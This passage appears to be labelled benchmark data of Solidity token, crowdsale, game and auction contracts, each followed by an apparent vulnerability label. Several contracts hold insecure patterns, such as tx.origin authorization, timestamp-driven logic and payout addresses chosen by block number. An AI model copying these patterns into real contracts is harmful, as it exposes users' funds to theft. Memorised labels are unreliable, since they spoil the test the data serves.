_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Transfer(msg.sender, _to, _amount);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "securix.io";
string constant TOKEN_SYMBOL = "SRXIO";
bool constant PAUSED = false;
address constant TARGET_USER = 0x59f66832EfdAd39AF88A5aF420E7E546C5838D5b;
bool constant CONTINUE_MINTING = true;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
function MainToken() public {
init();
transferOwnership(TARGET_USER);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[4] memory addresses = [address(0xdd7f7de0dc651940271f7a027e92a5ca6de67b32),address(0xb692ee46285c326226f3920a78d34450a7724b3f),address(0x0092b8c894047f8a8c2a23e52ce47ccfa5c6b516),address(0x1216026d620562189d10c98278d3d7c373ddb5d4)];
uint[4] memory amounts = [uint(5000000000000000000000000),uint(1000000000000000000000000),uint(3000000000000000000000000),uint(41000000000000000000000000)];
uint64[4] memory freezes = [uint64(0),uint64(0),uint64(0),uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
Initialized();
}
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 1,720 |
pragma solidity ^0.5.7;
contract SnailNumber {
using SafeMath for uint;
event GameBid (address indexed player, uint eth, uint number, uint pot, uint winnerShare);
event GameEnd (address indexed player, uint leaderReward, uint throneReward, uint number);
address payable constant SNAILTHRONE= 0x261d650a521103428C6827a11fc0CBCe96D74DBc;
uint256 constant SECONDS_IN_DAY = 86400;
uint256 constant numberMin = 300;
uint256 constant numberMax = 3000;
uint256 public pot;
uint256 public bid;
address payable public leader;
uint256 public shareToWinner;
uint256 public shareToThrone;
uint256 public timerEnd;
uint256 public timerStart;
uint256 public number;
address payable dev;
constructor() public {
timerStart = now;
timerEnd = now.add(SECONDS_IN_DAY);
dev = msg.sender;
}
function Bid(uint256 _number) payable public {
require(now < timerEnd, "game is over!");
require(msg.value > bid, "not enough to beat current leader");
require(_number >= numberMin, "number too low");
require(_number <= numberMax, "number too high");
pot = pot.add(msg.value);
shareToWinner = ComputeShare();
uint256 _share = 100;
shareToThrone = _share.sub(shareToWinner);
leader = msg.sender;
number = _number;
emit GameBid(msg.sender, msg.value, number, pot, shareToWinner);
}
function End() public {
require(now > timerEnd, "game is still running!");
uint256 _throneReward = pot.mul(shareToThrone).div(100);
pot = pot.sub(_throneReward);
(bool success, bytes memory data) = SNAILTHRONE.call.value(_throneReward)("");
require(success);
uint256 _winnerReward = pot;
pot = 0;
leader.transfer(_winnerReward);
emit GameEnd(leader, _winnerReward, _throneReward, number);
}
function ComputeShare() public view returns(uint256) {
uint256 _length = timerEnd.sub(timerStart);
uint256 _currentPoint = timerEnd.sub(now);
return _currentPoint.mul(100).div(_length);
}
function EscapeHatch() public {
require(msg.sender == dev, "you're not the dev");
require(now > timerEnd.add(SECONDS_IN_DAY), "escape hatch only available 24h after end");
dev.transfer(address(this).balance);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 2,805 |
pragma solidity ^0.4.16;
interface CCCRCoin {
function transfer(address receiver, uint amount);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract CCCRSale is Pausable {
using SafeMath for uint256;
address public investWallet = 0xbb2efFab932a4c2f77Fc1617C1a563738D71B0a7;
CCCRCoin public tokenReward;
uint256 public tokenPrice = 856;
uint256 zeroAmount = 10000000000;
uint256 startline = 1510736400;
uint256 public minCap = 300000000000000;
uint256 public totalRaised = 207008997355300;
function CCCRSale(address _tokenReward) {
tokenReward = CCCRCoin(_tokenReward);
}
function () whenNotPaused payable {
buy(msg.sender, msg.value);
}
function getRate() constant internal returns (uint256) {
if (block.timestamp < startline + 19 days) return tokenPrice.mul(138).div(100);
else if (block.timestamp <= startline + 46 days) return tokenPrice.mul(123).div(100);
else if (block.timestamp <= startline + 60 days) return tokenPrice.mul(115).div(100);
else if (block.timestamp <= startline + 74 days) return tokenPrice.mul(109).div(100);
return tokenPrice;
}
function buy(address buyer, uint256 _amount) whenNotPaused payable {
require(buyer != address(0));
require(msg.value != 0);
uint256 amount = _amount.div(zeroAmount);
uint256 tokens = amount.mul(getRate());
tokenReward.transfer(buyer, tokens);
investWallet.transfer(this.balance);
totalRaised = totalRaised.add(tokens);
if (totalRaised >= minCap) {
paused = true;
}
}
function updatePrice(uint256 _tokenPrice) external onlyOwner {
tokenPrice = _tokenPrice;
}
function transferTokens(uint256 _tokens) external onlyOwner {
tokenReward.transfer(owner, _tokens);
}
function airdrop(address[] _array1, uint256[] _array2) external onlyOwner {
address[] memory arrayAddress = _array1;
uint256[] memory arrayAmount = _array2;
uint256 arrayLength = arrayAddress.length.sub(1);
uint256 i = 0;
while (i <= arrayLength) {
tokenReward.transfer(arrayAddress[i], arrayAmount[i]);
i = i.add(1);
}
}
} | 0 | 1,538 |
pragma solidity ^0.4.17;
library SafeMath {
function Mul(uint256 a, uint256 b) pure internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function Div(uint256 a, uint256 b) pure internal returns (uint256) {
uint256 c = a / b;
return c;
}
function Sub(uint256 a, uint256 b) pure internal returns (uint256) {
assert(b <= a);
return a - b;
}
function Add(uint256 a, uint256 b) pure internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) view public returns (uint256);
function transfer(address _to, uint256 _value) public returns(bool ok);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) public returns(bool ok);
function approve(address _spender, uint256 _value) public returns(bool ok);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require (msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require (newOwner != address(0));
owner = newOwner;
}
}
contract Pausable is Ownable {
bool public stopped;
event StateChanged(bool changed);
modifier stopInEmergency {
require(!stopped);
_;
}
modifier onlyInEmergency {
require(stopped);
_;
}
function emergencyStop() external onlyOwner {
stopped = true;
StateChanged(true);
}
function release() external onlyOwner onlyInEmergency {
stopped = false;
StateChanged(true);
}
}
contract Injii is ERC20, Ownable {
using SafeMath for uint256;
string public constant name = "Injii Access Coins";
string public constant symbol = "IAC";
uint8 public constant decimals = 0;
string public version = 'v1.0';
bool public locked;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
modifier onlyPayloadSize(uint256 size) {
require(msg.data.length >= size + 4);
_;
}
modifier onlyUnlocked() {
require(!locked);
_;
}
function Injii() public {
locked = true;
totalSupply = 0;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) public onlyUnlocked returns (bool){
if (_to != address(0) && _value >= 1) {
balances[msg.sender] = balances[msg.sender].Sub(_value);
balances[_to] = balances[_to].Add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
else{
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) public onlyUnlocked returns (bool) {
if (_to != address(0) && _from != address(0)) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].Add(_value);
balances[_from] = balances[_from].Sub(_value);
allowed[_from][msg.sender] = _allowance.Sub(_value);
Transfer(_from, _to, _value);
return true;
}else{
return false;
}
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool) {
require(_spender != address(0));
uint256 iacToApprove = _value;
allowed[msg.sender][_spender] = iacToApprove;
Approval(msg.sender, _spender, iacToApprove);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Metadata {
address public owner;
mapping (uint => address) registerMap;
function Metadata() public {
owner = msg.sender;
registerMap[0] = msg.sender;
}
function getAddress (uint addressId) public view returns (address){
return registerMap[addressId];
}
function addAddress (uint addressId, address addressContract) public {
assert(addressContract != 0x0 );
require (owner == msg.sender || owner == tx.origin);
registerMap[addressId] = addressContract;
}
}
contract Ecosystem is Ownable{
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
Metadata private objMetadata;
Crowdsale private objCrowdsale;
uint256 constant private ecosystemContractID = 1;
uint256 constant private crowdsaleContractID = 2;
bool public crowdsaleAddressSet;
event TokensReceived(address receivedFrom, uint256 numberOfTokensReceive);
function Ecosystem(address _metadataContractAddr) public {
assert(_metadataContractAddr != address(0));
objMetadata = Metadata(_metadataContractAddr);
objMetadata.addAddress(ecosystemContractID, this);
}
function SetCrowdsaleAddress () public onlyOwner {
require(!crowdsaleAddressSet);
address crowdsaleContractAddress = objMetadata.getAddress(crowdsaleContractID);
assert(crowdsaleContractAddress != address(0));
objCrowdsale = Crowdsale(crowdsaleContractAddress);
crowdsaleAddressSet = true;
}
function rewardUser(address user, uint256 iacToSend) public onlyOwner{
assert(crowdsaleAddressSet);
objCrowdsale.transfer(user, iacToSend);
}
function tokenFallback(address _from, uint _value){
TokensReceived(_from, _value);
}
}
contract CompanyInventory is Ownable{
using SafeMath for uint256;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
uint256 public startBlock;
uint256 public unlockedTokens;
uint256 public initialReleaseDone = 0;
uint256 public secondReleaseDone = 0;
uint256 public totalSuppliedAfterLock = 0;
uint256 public balance = 0;
uint256 public totalSupplyFromInventory;
uint256 public totalRemainInInventory;
Metadata private objMetadata;
Crowdsale private objCrowdsale;
uint256 constant private crowdsaleContractID = 2;
uint256 constant private inventoryContractID = 3;
event TransferredUnlockedTokens(address addr, uint value, bytes32 comment);
event StateChanged(bool changed);
function CompanyInventory(address _metadataContractAddr) public {
assert(_metadataContractAddr != address(0));
objMetadata = Metadata(_metadataContractAddr);
objMetadata.addAddress(inventoryContractID, this);
objCrowdsale = Crowdsale(objMetadata.getAddress(crowdsaleContractID));
}
function initiateLocking (uint256 _alreadyTransferredTokens) public {
require(msg.sender == objMetadata.getAddress(crowdsaleContractID) && startBlock == 0);
startBlock = now;
unlockedTokens = 0;
balance = objCrowdsale.balanceOf(this);
totalSupplyFromInventory = _alreadyTransferredTokens;
totalRemainInInventory = balance.Add(_alreadyTransferredTokens).Sub(_alreadyTransferredTokens);
StateChanged(true);
}
function releaseTokens () public onlyOwner {
require(startBlock > 0);
if(initialReleaseDone == 0){
require(now >= startBlock.Add(1 years));
unlockedTokens = balance/2;
initialReleaseDone = 1;
}
else if(secondReleaseDone == 0){
require(now >= startBlock.Add(2 years));
unlockedTokens = balance;
secondReleaseDone = 1;
}
StateChanged(true);
}
function TransferFromCompanyInventory(address beneficiary,uint256 iacToCredit,bytes32 comment) onlyOwner external {
require(beneficiary != address(0));
require(totalSuppliedAfterLock.Add(iacToCredit) <= unlockedTokens);
objCrowdsale.transfer(beneficiary,iacToCredit);
totalSuppliedAfterLock = totalSuppliedAfterLock.Add(iacToCredit);
totalSupplyFromInventory = totalSupplyFromInventory.Add(iacToCredit);
totalRemainInInventory = totalRemainInInventory.Sub(iacToCredit);
TransferredUnlockedTokens(beneficiary, iacToCredit, comment);
StateChanged(true);
}
}
contract Crowdsale is Injii, Pausable {
using SafeMath for uint256;
uint256 public startBlock;
uint256 public constant durationCrowdSale = 25 days;
uint256 public constant gapInPrimaryCrowdsaleAndSecondaryCrowdsale = 2 years;
uint256 public endBlock;
uint256 public constant maxCapCompanyInventory = 250e6;
uint256 public constant maxCap = 500e6;
uint256 public constant maxCapEcosystem = 250e6;
uint256 public constant numberOfTokensToAvail50PercentDiscount = 2e6;
uint256 public constant numberOfTokensToAvail25percentDiscount = 5e5;
uint256 public constant minimumNumberOfTokens = 2500;
uint256 public targetToAchieve;
bool public inventoryLocked = false;
uint256 public totalSupply;
uint256 public totalSupplyForCrowdsaleAndMint = 0;
address public coinbase;
uint256 public ETHReceived;
uint256 public totalSupplyFromInventory;
uint256 public totalRemainInInventory;
uint256 public getPrice;
uint256 public crowdsaleStatus;
uint8 public crowdSaleType;
event ReceivedETH(address addr, uint value);
event MintAndTransferIAC(address addr, uint value, bytes32 comment);
event SuccessfullyTransferedFromCompanyInventory(address addr, uint value, bytes32 comment);
event TokenSupplied(address indexed beneficiary, uint256 indexed tokens, uint256 value);
event StateChanged(bool changed);
Metadata private objMetada;
Ecosystem private objEcosystem;
CompanyInventory private objCompanyInventory;
address private ecosystemContractAddress;
uint256 constant ecosystemContractID = 1;
uint256 constant private crowdsaleContractID = 2;
uint256 constant private inventoryContractID = 3;
function Crowdsale() public {
address _metadataContractAddr = 0x8A8473E51D7f562ea773A019d7351A96c419B633;
startBlock = 0;
endBlock = 0;
crowdSaleType = 1;
totalSupply = maxCapEcosystem;
crowdsaleStatus=0;
coinbase = 0xA84196972d6b5796cE523f861CC9E367F739421F;
owner = msg.sender;
totalSupplyFromInventory=0;
totalRemainInInventory = maxCapCompanyInventory;
getPrice = 2778;
objMetada = Metadata(_metadataContractAddr);
ecosystemContractAddress = objMetada.getAddress(ecosystemContractID);
assert(ecosystemContractAddress != address(0));
objEcosystem = Ecosystem(ecosystemContractAddress);
objMetada.addAddress(crowdsaleContractID, this);
balances[ecosystemContractAddress] = maxCapEcosystem;
targetToAchieve = (50000*100e18)/(12*getPrice);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier respectTimeFrame() {
assert(startBlock != 0 && !stopped && crowdsaleStatus == 1);
if(now > endBlock){
revert();
}
_;
}
function SetEcosystemContract () public onlyOwner {
uint256 balanceOfOldEcosystem = balances[ecosystemContractAddress];
balances[ecosystemContractAddress] = 0;
ecosystemContractAddress = objMetada.getAddress(ecosystemContractID);
balances[ecosystemContractAddress] = balanceOfOldEcosystem;
assert(ecosystemContractAddress != address(0));
objEcosystem = Ecosystem(ecosystemContractAddress);
}
function GetIACFundAccount() internal view returns (address) {
uint remainder = block.number%10;
if(remainder==0){
return 0x8786DB52D292551f4139a963F79Ce1018d909655;
} else if(remainder==1){
return 0x11818E22CDc0592F69a22b30CF0182888f315FBC;
} else if(remainder==2){
return 0x17616b652C3c2eAf2aa82a72Bd2b3cFf40A854fE;
} else if(remainder==3){
return 0xD433632CA5cAFDa27655b8E536E5c6335343d408;
} else if(remainder==4){
return 0xb0Dc59A8312D901C250f8975E4d99eAB74D79484;
} else if(remainder==5){
return 0x0e6B1F7955EF525C2707799963318c49f9Ad7374;
} else if(remainder==6){
return 0x2fE6C4D2DC0EB71d2ac885F64f029CE78b9F98d9;
} else if(remainder==7){
return 0x0a7cD1cCc55191F8046D1023340bdfdfa475F267;
} else if(remainder==8){
return 0x76C40fDFd3284da796851611e7e9e8De0CcA546C;
}else {
return 0xe4FE5295772997272914447549D570882423A227;
}
}
function startSale() public onlyOwner {
assert(startBlock == 0);
startBlock = now;
crowdSaleType = 1;
crowdsaleStatus = 1;
endBlock = now.Add(durationCrowdSale);
StateChanged(true);
}
function startSecondaryCrowdsale (uint256 durationSecondaryCrowdSale) public onlyOwner {
assert(crowdsaleStatus == 2 && crowdSaleType == 1);
if(now > endBlock.Add(gapInPrimaryCrowdsaleAndSecondaryCrowdsale)){
crowdsaleStatus = 1;
crowdSaleType = 2;
endBlock = now.Add(durationSecondaryCrowdSale * 86400);
StateChanged(true);
}
else
revert();
}
function setPrice(uint _tokensPerEther) public onlyOwner
{
require( _tokensPerEther != 0);
getPrice = _tokensPerEther;
targetToAchieve = (50000*100e18)/(12*_tokensPerEther);
StateChanged(true);
}
function createTokens(address beneficiary) internal stopInEmergency respectTimeFrame {
require(msg.value != 0);
uint256 iacToSend = (msg.value.Mul(getPrice))/1e18;
uint256 priceToAvail50PercentDiscount = numberOfTokensToAvail50PercentDiscount.Div(2*getPrice).Mul(1e18);
uint256 priceToAvail25PercentDiscount = 3*numberOfTokensToAvail25percentDiscount.Div(4*getPrice).Mul(1e18);
if(iacToSend < minimumNumberOfTokens){
revert();
}
else if(msg.value >= priceToAvail25PercentDiscount && msg.value < priceToAvail50PercentDiscount){
iacToSend = (((msg.value.Mul(getPrice)).Mul(4)).Div(3))/1e18;
}
else if(msg.value >= priceToAvail50PercentDiscount){
iacToSend = (msg.value.Mul(2*getPrice))/1e18;
}
else {
iacToSend = (msg.value.Mul(getPrice))/1e18;
}
assert(iacToSend.Add(totalSupplyForCrowdsaleAndMint) <= maxCap);
totalSupply = totalSupply.Add(iacToSend);
totalSupplyForCrowdsaleAndMint = totalSupplyForCrowdsaleAndMint.Add(iacToSend);
if(ETHReceived < targetToAchieve){
coinbase.transfer(msg.value);
}
else{
GetIACFundAccount().transfer(msg.value);
}
ETHReceived = ETHReceived.Add(msg.value);
ReceivedETH(beneficiary,ETHReceived);
balances[beneficiary] = balances[beneficiary].Add(iacToSend);
TokenSupplied(beneficiary, iacToSend, msg.value);
StateChanged(true);
}
function MintAndTransferToken(address beneficiary,uint256 iacToCredit,bytes32 comment) external onlyOwner {
assert(crowdsaleStatus == 1 && beneficiary != address(0));
require(iacToCredit >= 1);
assert(totalSupplyForCrowdsaleAndMint <= maxCap);
require(totalSupplyForCrowdsaleAndMint.Add(iacToCredit) <= maxCap);
balances[beneficiary] = balances[beneficiary].Add(iacToCredit);
totalSupply = totalSupply.Add(iacToCredit);
totalSupplyForCrowdsaleAndMint = totalSupplyForCrowdsaleAndMint.Add(iacToCredit);
MintAndTransferIAC(beneficiary, iacToCredit, comment);
StateChanged(true);
}
function TransferFromCompanyInventory(address beneficiary,uint256 iacToCredit,bytes32 comment) external onlyOwner {
assert(startBlock != 0 && beneficiary != address(0));
assert(totalSupplyFromInventory <= maxCapCompanyInventory && !inventoryLocked);
require(iacToCredit >= 1);
require(totalSupplyFromInventory.Add(iacToCredit) <= maxCapCompanyInventory);
balances[beneficiary] = balances[beneficiary].Add(iacToCredit);
totalSupplyFromInventory = totalSupplyFromInventory.Add(iacToCredit);
totalSupply = totalSupply.Add(iacToCredit);
totalRemainInInventory = totalRemainInInventory.Sub(iacToCredit);
SuccessfullyTransferedFromCompanyInventory(beneficiary, iacToCredit, comment);
StateChanged(true);
}
function LockInventory () public onlyOwner {
require(startBlock > 0 && now >= startBlock.Add(durationCrowdSale.Add(90 days)) && !inventoryLocked);
address inventoryContractAddress = objMetada.getAddress(inventoryContractID);
require(inventoryContractAddress != address(0));
balances[inventoryContractAddress] = totalRemainInInventory;
totalSupply = totalSupply.Add(totalRemainInInventory);
objCompanyInventory = CompanyInventory(inventoryContractAddress);
objCompanyInventory.initiateLocking(totalSupplyFromInventory);
inventoryLocked = true;
}
function finalize() public onlyOwner {
assert(crowdsaleStatus == 1 && (crowdSaleType == 1 || crowdSaleType == 2));
assert(maxCap.Sub(totalSupplyForCrowdsaleAndMint) < minimumNumberOfTokens || now >= endBlock);
crowdsaleStatus = 2;
endBlock = now;
StateChanged(true);
}
function unlock() public onlyOwner
{
assert(crowdsaleStatus==2 && now >= startBlock.Add(durationCrowdSale.Add(90 days)));
locked = false;
StateChanged(true);
}
function () public payable {
createTokens(msg.sender);
}
function drain() public onlyOwner {
GetIACFundAccount().transfer(this.balance);
}
} | 1 | 3,532 |
pragma solidity ^0.4.17;
contract OracleBase {
function getRandomUint(uint max) public returns (uint);
function getRandomForContract(uint max, uint index) public view returns (uint);
function getEtherDiceProfit(uint rate) public view returns (uint);
function getRandomUint256(uint txId) public returns (uint256);
function getRandomForContractClanwar(uint max, uint index) public view returns (uint);
}
contract ContractOwner {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Etherauction is ContractOwner {
using SafeMath for uint256;
constructor() public payable {
owner = msg.sender;
gameId = 1;
gameStartTime = block.timestamp;
gameLastAuctionMoney = 10**15;
gameLastAuctionTime = block.timestamp;
gameSecondLeft = _getInitAuctionSeconds();
}
function adminAddMoney() public payable {
reward = reward + msg.value * 80 / 100;
nextReward = nextReward + msg.value * 20 / 100;
}
function addAuctionReward() public payable {
reward = reward + msg.value;
}
uint256 gameId;
uint256 gameStartTime;
uint256 gameLastAuctionTime;
uint256 gameLastAuctionMoney;
uint256 gameSecondLeft;
uint256 reward;
uint256 dividends;
uint256 nextReward;
uint256 dividendForDev;
OracleBase oracleAPI;
function setOracleAPIAddress(address _addr) public onlyOwner {
oracleAPI = OracleBase(_addr);
}
uint rollCount = 100;
function getRandom() internal returns (uint256) {
rollCount = rollCount + 1;
return oracleAPI.getRandomForContract(100, rollCount);
}
function _inMoney(uint _m) internal {
dividends = dividends + _m * 7 / 100;
dividendForDev = dividendForDev + _m * 2 / 100;
reward = reward + _m * 2 / 100;
nextReward = nextReward + _m * 4 / 100;
}
function _startNewRound(address _addr) internal {
reward = nextReward * 80 / 100;
nextReward = nextReward * 20 / 100;
gameId = gameId + 1;
dividends = 0;
gameStartTime = block.timestamp;
gameLastAuctionTime = block.timestamp;
uint256 price = _getMinAuctionStartPrice();
reward = reward.sub(price);
PlayerAuction memory p;
gameAuction[gameId].push(p);
gameAuction[gameId][0].addr = _addr;
gameAuction[gameId][0].money = price;
gameAuction[gameId][0].bid = price;
gameAuction[gameId][0].refunded = false;
gameAuction[gameId][0].dividended = false;
gameLastAuctionMoney = price;
gameSecondLeft = _getInitAuctionSeconds();
emit GameAuction(gameId, _addr, price, price, gameSecondLeft, block.timestamp);
}
function adminPayout() public onlyOwner {
owner.transfer(dividendForDev);
dividendForDev = 0;
}
struct GameData {
uint256 gameId;
uint256 reward;
uint256 dividends;
}
struct PlayerAuction {
address addr;
uint256 money;
uint256 bid;
bool refunded;
bool dividended;
}
mapping(uint256 => PlayerAuction[]) gameAuction;
GameData[] gameData;
event GameAuction(uint indexed gameId, address player, uint money, uint auctionValue, uint secondsLeft, uint datetime);
event GameRewardClaim(uint indexed gameId, address indexed player, uint money);
event GameRewardRefund(uint indexed gameId, address indexed player, uint money);
event GameEnd(uint indexed gameId, address indexed winner, uint money, uint datetime);
function getMinAuctionValue() public view returns (uint256) {
uint256 gap = _getGameAuctionGap();
uint256 auctionValue = gap + gameLastAuctionMoney;
return auctionValue;
}
function auction() public payable {
bool ended = (block.timestamp > gameLastAuctionTime + gameSecondLeft) ? true: false;
if (ended) {
revert('this round end!!!');
}
uint256 len = gameAuction[gameId].length;
if (len > 1) {
address bidder = gameAuction[gameId][len - 1].addr;
if (msg.sender == bidder)
revert("wrong action");
}
uint256 gap = _getGameAuctionGap();
uint256 auctionValue = gap + gameLastAuctionMoney;
uint256 maxAuctionValue = 3 * gap + gameLastAuctionMoney;
if (msg.value < auctionValue) {
revert("wrong eth value!");
}
if (msg.value >= maxAuctionValue) {
auctionValue = maxAuctionValue;
} else {
auctionValue = msg.value;
}
gameLastAuctionMoney = auctionValue;
_inMoney(auctionValue);
gameLastAuctionTime = block.timestamp;
uint256 random = getRandom();
gameSecondLeft = random * (_getMaxAuctionSeconds() - _getMinAuctionSeconds()) / 100 + _getMinAuctionSeconds();
PlayerAuction memory p;
gameAuction[gameId].push(p);
gameAuction[gameId][gameAuction[gameId].length - 1].addr = msg.sender;
